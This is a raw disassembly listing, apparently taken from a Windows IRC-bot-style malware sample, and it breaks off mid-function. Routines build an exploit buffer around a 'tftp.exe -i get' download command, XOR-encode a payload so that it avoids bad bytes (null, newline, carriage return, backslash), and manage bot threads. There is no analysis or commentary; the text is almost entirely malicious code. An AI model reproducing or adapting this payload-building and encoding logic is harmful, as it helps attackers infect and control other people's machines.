sub_416ADE	proc near		; CODE XREF: sub_416BCD+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_416ABE
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_416AFB
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_416AFB:				; CODE XREF: sub_416ADE+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		call	sub_417AB0
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_417AB0
		mov	edi, eax
		mov	ebx, [ebp+arg_0]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	dword_433B70, eax
		lea	eax, [edi+1]
		mov	dword_433B91, eax
		lea	eax, [edi+17h]
		mov	dword_433B89, eax
		pop	eax
		push	74h
		sub	eax, edi
		push	offset dword_433B0C
		push	ebx
		mov	dword_433B9F, eax
		call	sub_417390
		push	esi
		lea	eax, [ebx+74h]
		push	[ebp+arg_8]
		push	eax
		call	sub_417390
		add	esi, 74h
		push	5
		push	(offset	aTftp_exeIGet+0Ch)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_417390
		add	esi, 5
		push	edi
		push	[ebp+arg_C]
		lea	eax, [esi+ebx]
		push	eax
		call	sub_417390
		add	esi, edi
		push	10h
		push	(offset	aTftp_exeIGet+11h)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_417390
		add	esp, 44h
		add	esi, 10h
		push	edi
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]
		push	eax
		call	sub_417390
		add	esi, edi
		push	38h
		add	esi, ebx
		push	offset byte_433B95
		push	esi
		call	sub_417390
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416ADE	endp


; =============== S U B	R O U T	I N E =======================================



sub_416BB6	proc near		; CODE XREF: sub_416BCD+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_416ABE
		push	eax
		call	sub_416C3A
		add	esp, 0Ch
		retn
sub_416BB6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416BCD	proc near		; CODE XREF: sub_402B84+32p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi
		push	ebx
		call	sub_416BB6
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_416BED
		cmp	eax, 0FFFFh
		jbe	short loc_416BF1

loc_416BED:				; CODE XREF: sub_416BCD+17j
		xor	eax, eax
		jmp	short loc_416C36
; ---------------------------------------------------------------------------

loc_416BF1:				; CODE XREF: sub_416BCD+1Ej
		push	esi
		push	edi
		push	ebx
		call	sub_416ABE
		add	eax, 101h
		push	eax
		call	sub_417B89
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_416ABE
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_416ADE
		push	eax
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416C55
		push	esi
		mov	edi, eax
		call	sub_417C3B
		add	esp, 24h
		mov	eax, edi
		pop	esi

loc_416C36:				; CODE XREF: sub_416BCD+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_416BCD	endp


; =============== S U B	R O U T	I N E =======================================



sub_416C3A	proc near		; CODE XREF: sub_416BB6+Ep
					; sub_416C55+4Ap

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_416C43
		inc	ecx

loc_416C43:				; CODE XREF: sub_416C3A+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_416C3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C55	proc near		; CODE XREF: sub_416BCD+56p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	byte ptr [ebp+arg_C], 0Ah
		jz	short loc_416C71
		cmp	byte ptr [ebp+arg_C], 0Dh
		jz	short loc_416C71
		cmp	byte ptr [ebp+arg_C], 5Ch
		jz	short loc_416C71
		cmp	byte ptr [ebp+arg_C], 0
		jnz	short loc_416C74

loc_416C71:				; CODE XREF: sub_416C55+8j
					; sub_416C55+Ej ...
		inc	[ebp+arg_C]

loc_416C74:				; CODE XREF: sub_416C55+1Aj
		push	esi
		mov	esi, 0FFh
		cmp	[ebp+arg_C], esi
		jbe	short loc_416C9C
		mov	eax, [ebp+arg_C]
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_416C95
		cmp	al, 0Dh
		jz	short loc_416C95
		cmp	al, 5Ch
		jz	short loc_416C95
		test	al, al
		jnz	short loc_416C9C

loc_416C95:				; CODE XREF: sub_416C55+32j
					; sub_416C55+36j ...
		add	[ebp+arg_C], 100h

loc_416C9C:				; CODE XREF: sub_416C55+28j
					; sub_416C55+3Ej
		push	[ebp+arg_C]
		call	sub_416C3A
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_416CB4
		cmp	eax, 0FFFFh
		jbe	short loc_416CBB

loc_416CB4:				; CODE XREF: sub_416C55+56j
		xor	eax, eax
		jmp	loc_416D59
; ---------------------------------------------------------------------------

loc_416CBB:				; CODE XREF: sub_416C55+5Dj
		mov	ecx, [ebp+arg_C]
		push	ebx
		mov	bl, byte_4CD988
		xor	edx, edx
		push	edi
		mov	edi, [ebp+arg_8]
		test	ecx, ecx
		jbe	short loc_416CEB

loc_416CCF:				; CODE XREF: sub_416C55+94j
		mov	al, [edx+edi]
		xor	al, bl
		jz	short loc_416CE2
		cmp	al, 0Ah
		jz	short loc_416CE2
		cmp	al, 0Dh
		jz	short loc_416CE2
		cmp	al, 5Ch
		jnz	short loc_416CE6

loc_416CE2:				; CODE XREF: sub_416C55+7Fj
					; sub_416C55+83j ...
		inc	bl
		xor	edx, edx

loc_416CE6:				; CODE XREF: sub_416C55+8Bj
		inc	edx
		cmp	edx, ecx
		jb	short loc_416CCF

loc_416CEB:				; CODE XREF: sub_416C55+78j
		cmp	ecx, esi
		mov	byte_4CD988, bl
		ja	short loc_416D17
		push	15h
		push	offset loc_433AF4
		push	[ebp+arg_0]
		mov	byte_433B01, cl
		mov	byte_433B05, bl
		call	sub_417390
		add	esp, 0Ch
		push	15h
		jmp	short loc_416D38
; ---------------------------------------------------------------------------

loc_416D17:				; CODE XREF: sub_416C55+9Ej
		push	17h
		push	offset loc_433ADC
		push	[ebp+arg_0]
		mov	word_433AEA, cx
		mov	byte_433AEF, bl
		call	sub_417390
		add	esp, 0Ch
		push	17h

loc_416D38:				; CODE XREF: sub_416C55+C0j
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_416D54
		mov	edx, [ebp+arg_0]
		lea	esi, [ecx+edx]

loc_416D46:				; CODE XREF: sub_416C55+FDj
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_416D46

loc_416D54:				; CODE XREF: sub_416C55+E9j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx

loc_416D59:				; CODE XREF: sub_416C55+61j
		pop	esi
		leave
		retn
sub_416C55	endp


; =============== S U B	R O U T	I N E =======================================



sub_416D5C	proc near		; CODE XREF: sub_4060D0+227p
					; sub_407252+F0p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_4405F0

loc_416D64:				; CODE XREF: sub_416D5C+18j
		cmp	byte ptr [eax],	0
		jz	short loc_416D78
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4CD5F0
		jl	short loc_416D64
		jmp	short loc_416DC3
; ---------------------------------------------------------------------------

loc_416D78:				; CODE XREF: sub_416D5C+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_4405F0[esi]
		push	eax
		call	sub_418C10
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_4407F0[esi], eax
		and	dword_4407F4[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_4407F8[esi], 0
		mov	dword_4407FC[esi], eax
		and	byte_440808[esi], 0
		pop	esi

loc_416DC3:				; CODE XREF: sub_416D5C+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_416D5C	endp

; ---------------------------------------------------------------------------
byte_416DC7	db 55h			; DATA XREF: sub_40EE72+5C01o
		dd 0EC81EC8Bh, 98h, 5608458Bh, 59266A57h, 0BD8DF08Bh, 0FFFFFF68h
		dd 75FFA5F3h, 9480C7F0h, 1000000h, 8D000000h, 0FFFF6C85h
		dd 0F475FFFFh, 68B5FF50h, 0E8FFFFFFh, 15h, 0E8EC75FFh
		dd 26Ch, 6A14C483h, 0DCE89000h,	5F021F93h, 0EC8B555Eh
		dd 200EC81h, 57560000h,	75FF006Ah, 3BD06810h, 75FF0043h
		dd 875FF0Ch, 0FF6840E8h, 14C483FFh, 0F0BEFF33h,	80004405h
		dd 3C74003Eh, 147D83h, 0BE830975h, 204h, 562D7500h, 858D57h
		dd 68FFFFFEh, 43254Ch, 446E850h, 16A0000h, 0FE00858Dh
		dd 75FFFFFFh, 75FF5010h, 875FF0Ch, 0FF67F8E8h, 24C483FFh
		dd 234C681h, 81470000h,	4CD5F0FEh, 5FB07C00h
; ---------------------------------------------------------------------------
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_416E97	proc near		; CODE XREF: sub_40EE72+4DD9p
					; sub_416F25+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_416F1F
		cmp	esi, 400h
		jge	short loc_416F1F
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_440804[esi]
		lea	edi, dword_440804[esi]
		nop
		call	near ptr 27F0875h
		cmp	[edi], ebx
		jz	short loc_416ECF
		push	1
		pop	ebp

loc_416ECF:				; CODE XREF: sub_416E97+33j
		mov	[edi], ebx
		lea	edi, dword_4407F8[esi]
		mov	dword_4407F0[esi], ebx
		mov	dword_4407F4[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_416EF0
		push	eax
		call	sub_415419
		pop	ecx

loc_416EF0:				; CODE XREF: sub_416E97+50j
		mov	[edi], ebx
		lea	edi, dword_4407FC[esi]
		mov	byte ptr dword_4405F0[esi], bl
		mov	byte_440808[esi], bl
		push	dword ptr [edi]
		call	dword_43AE30
		lea	esi, dword_440800[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_43AE30
		mov	[esi], ebx
		pop	edi

loc_416F1F:				; CODE XREF: sub_416E97+Dj
					; sub_416E97+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_416E97	endp


; =============== S U B	R O U T	I N E =======================================



sub_416F25	proc near		; CODE XREF: sub_40AC42:loc_40AC66p
					; sub_40D3A5+18p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_4405F0

loc_416F31:				; CODE XREF: sub_416F25+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_416F42
		push	edi
		call	sub_416E97
		test	eax, eax
		pop	ecx
		jz	short loc_416F42
		inc	ebx

loc_416F42:				; CODE XREF: sub_416F25+Fj
					; sub_416F25+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CD5F0
		jl	short loc_416F31
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_416F25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F57	proc near		; CODE XREF: sub_40EE72+1E3Dp
					; sub_40EE72+1EABp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_4407F4

loc_416F6B:				; CODE XREF: sub_416F57+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_416F8D
		test	edi, edi
		jle	short loc_416F7F
		cmp	[esi], edi
		jz	short loc_416F7F
		cmp	ebx, edi
		jnz	short loc_416F8D

loc_416F7F:				; CODE XREF: sub_416F57+1Ej
					; sub_416F57+22j
		push	ebx
		call	sub_416E97
		test	eax, eax
		pop	ecx
		jz	short loc_416F8D
		inc	[ebp+var_4]

loc_416F8D:				; CODE XREF: sub_416F57+1Aj
					; sub_416F57+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4CD7F4
		jl	short loc_416F6B
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416F57	endp


; =============== S U B	R O U T	I N E =======================================



sub_416FA4	proc near		; CODE XREF: sub_4071DB+Bp
					; sub_407252+2Dp ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_4407F0

loc_416FAB:				; CODE XREF: sub_416FA4+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_416FB4
		inc	eax

loc_416FB4:				; CODE XREF: sub_416FA4+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4CD7F0
		jl	short loc_416FAB
		retn
sub_416FA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_416FC3	proc near		; CODE XREF: sub_40EE72+5698p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_4407F0

loc_416FCD:				; CODE XREF: sub_416FC3+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_416FE6
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4CD7F0
		jl	short loc_416FCD
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_416FE6:				; CODE XREF: sub_416FC3+10j
		mov	eax, edx
		pop	esi
		retn
sub_416FC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416FEA	proc near		; CODE XREF: sub_40EE72+1070p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_417003
		push	[ebp+arg_1C]
		call	sub_41781F
		pop	ecx

loc_417003:				; CODE XREF: sub_416FEA+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_416F57
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41702F
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s)	stopped.)"...
		push	eax
		call	sub_4172B0
		add	esp, 14h
		jmp	short loc_417049
; ---------------------------------------------------------------------------

loc_41702F:				; CODE XREF: sub_416FEA+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s: No %s thread found."
		push	eax
		call	sub_4172B0
		add	esp, 10h

loc_417049:				; CODE XREF: sub_416FEA+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_417069
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_417069:				; CODE XREF: sub_416FEA+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40BF6D
		pop	ecx
		leave
		retn
sub_416FEA	endp


; =============== S U B	R O U T	I N E =======================================



sub_417078	proc near		; CODE XREF: sub_401000+A5p
					; sub_40144A+8Dp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_440804[eax], ecx
		mov	dword_4407F0[eax], ecx
		mov	dword_4407F4[eax], ecx
		mov	dword_4407F8[eax], ecx
		mov	dword_4407FC[eax], ecx
		mov	dword_440800[eax], ecx
		mov	byte ptr dword_4405F0[eax], cl
		mov	byte_440808[eax], cl
		retn
sub_417078	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4170B5	proc near		; CODE XREF: sub_40EE72+6189p
					; sub_4171E3+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax

loc_4170BF:				; CODE XREF: sub_4170B5+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_41711F
		cmp	eax, 1
		jnz	short loc_41711F
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_41711F
		cmp	cl, 2Ah
		jz	short loc_417106
		cmp	cl, 3Fh
		jz	short loc_4170E9
		cmp	cl, 5Bh
		jz	short loc_4170EE
		xor	eax, eax
		cmp	cl, dl
		setz	al

loc_4170E9:				; CODE XREF: sub_4170B5+26j
		inc	[ebp+arg_4]
		jmp	short loc_417119
; ---------------------------------------------------------------------------

loc_4170EE:				; CODE XREF: sub_4170B5+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_41714B
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_417119
; ---------------------------------------------------------------------------

loc_417106:				; CODE XREF: sub_4170B5+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_4171E3
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi

loc_417119:				; CODE XREF: sub_4170B5+37j
					; sub_4170B5+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_4170BF
; ---------------------------------------------------------------------------

loc_41711F:				; CODE XREF: sub_4170B5+Ej
					; sub_4170B5+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_41712F
		cmp	eax, 1
		jnz	short loc_417146
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_41711F
; ---------------------------------------------------------------------------

loc_41712F:				; CODE XREF: sub_4170B5+6Dj
		cmp	eax, 1
		jnz	short loc_417146
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_417146
		cmp	byte ptr [esi],	0
		jnz	short loc_417146
		push	1
		pop	eax
		jmp	short loc_417148
; ---------------------------------------------------------------------------

loc_417146:				; CODE XREF: sub_4170B5+72j
					; sub_4170B5+7Dj ...
		xor	eax, eax

loc_417148:				; CODE XREF: sub_4170B5+8Fj
		pop	esi
		pop	ebp
		retn
sub_4170B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41714B	proc near		; CODE XREF: sub_4170B5+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_41716C
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx

loc_41716C:				; CODE XREF: sub_41714B+19j
		push	ebx
		push	esi

loc_41716E:				; CODE XREF: sub_41714B+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_41717C
		cmp	[ebp+var_4], eax
		jnz	short loc_4171C8

loc_41717C:				; CODE XREF: sub_41714B+2Aj
		test	edi, edi
		jnz	short loc_4171BD
		cmp	bl, 2Dh
		jnz	short loc_4171B1
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_4171B1
		cmp	al, 5Dh
		jz	short loc_4171B1
		cmp	[ebp+var_4], edi
		jnz	short loc_4171B1
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_4171BD
		cmp	bl, al
		jg	short loc_4171BD
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_4171BD
; ---------------------------------------------------------------------------

loc_4171B1:				; CODE XREF: sub_41714B+38j
					; sub_41714B+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_4171BD
		push	1
		pop	edi

loc_4171BD:				; CODE XREF: sub_41714B+33j
					; sub_41714B+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_41716E
; ---------------------------------------------------------------------------

loc_4171C8:				; CODE XREF: sub_41714B+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_4171D5
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx

loc_4171D5:				; CODE XREF: sub_41714B+82j
		cmp	edi, eax
		jnz	short loc_4171DE
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]

loc_4171DE:				; CODE XREF: sub_41714B+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_41714B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4171E3	proc near		; CODE XREF: sub_4170B5+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx

loc_4171FF:				; CODE XREF: sub_4171E3+3Aj
		cmp	[eax], bl
		jz	short loc_41721F
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_417214
		cmp	cl, 2Ah
		jnz	short loc_41721F
		cmp	cl, 3Fh
		jnz	short loc_417217

loc_417214:				; CODE XREF: sub_4171E3+25j
		inc	eax
		mov	[edi], eax

loc_417217:				; CODE XREF: sub_4171E3+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_4171FF
; ---------------------------------------------------------------------------

loc_41721F:				; CODE XREF: sub_4171E3+1Ej
					; sub_4171E3+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_41722A
		inc	dword ptr [esi]
		jmp	short loc_41721F
; ---------------------------------------------------------------------------

loc_41722A:				; CODE XREF: sub_4171E3+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_41724B
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_41723C
		xor	eax, eax
		jmp	short loc_4172AB
; ---------------------------------------------------------------------------

loc_41723C:				; CODE XREF: sub_4171E3+53j
		cmp	cl, bl
		jnz	short loc_41724B
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_41724B
		push	1
		pop	eax
		jmp	short loc_4172AB
; ---------------------------------------------------------------------------

loc_41724B:				; CODE XREF: sub_4171E3+4Dj
					; sub_4171E3+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_4170B5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417295

loc_417259:				; CODE XREF: sub_4171E3+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]

loc_41725D:				; CODE XREF: sub_4171E3+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_417275
		cmp	cl, 5Bh
		jz	short loc_417275
		cmp	dl, bl
		jz	short loc_417275
		inc	eax
		mov	[edi], eax
		jmp	short loc_41725D
; ---------------------------------------------------------------------------

loc_417275:				; CODE XREF: sub_4171E3+82j
					; sub_4171E3+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_41728C
		push	eax
		push	dword ptr [esi]
		call	sub_4170B5
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_417291
; ---------------------------------------------------------------------------

loc_41728C:				; CODE XREF: sub_4171E3+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax

loc_417291:				; CODE XREF: sub_4171E3+A7j
		cmp	eax, ebx
		jnz	short loc_417259

loc_417295:				; CODE XREF: sub_4171E3+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_4172A8
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_4172A8
		mov	[ebp+var_4], 1

loc_4172A8:				; CODE XREF: sub_4171E3+B6j
					; sub_4171E3+BCj
		mov	eax, [ebp+var_4]

loc_4172AB:				; CODE XREF: sub_4171E3+57j
					; sub_4171E3+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4171E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4172B0	proc near		; CODE XREF: sub_401000+64p
					; sub_4010B5+308p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_419E38
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_4172F0
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_4172FD
; ---------------------------------------------------------------------------

loc_4172F0:				; CODE XREF: sub_4172B0+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_419D23
		pop	ecx
		pop	ecx

loc_4172FD:				; CODE XREF: sub_4172B0+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4172B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_417302	proc near		; CODE XREF: sub_401000+2Ep
					; sub_401D82+46p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_433C20, eax
		retn
sub_417302	endp


; =============== S U B	R O U T	I N E =======================================



sub_41730C	proc near		; CODE XREF: sub_4010B5+CBp
					; sub_4010B5+13Fp ...
		mov	eax, dword_433C20
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_433C20, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41730C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417330	proc near		; CODE XREF: sub_4010B5+281p
					; sub_40144A+180p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_417383
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_417377
		neg	ecx
		and	ecx, 3
		jz	short loc_417359
		sub	edx, ecx

loc_417353:				; CODE XREF: sub_417330+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_417353

loc_417359:				; CODE XREF: sub_417330+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_417377
		rep stosd
		test	edx, edx
		jz	short loc_41737D

loc_417377:				; CODE XREF: sub_417330+18j
					; sub_417330+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_417377

loc_41737D:				; CODE XREF: sub_417330+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_417383:				; CODE XREF: sub_417330+Aj
		mov	eax, [esp+arg_0]
		retn
sub_417330	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417390	proc near		; CODE XREF: sub_4010B5+22Dp
					; sub_4010B5+23Ep ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_39		= byte ptr  41h

		push	ebp
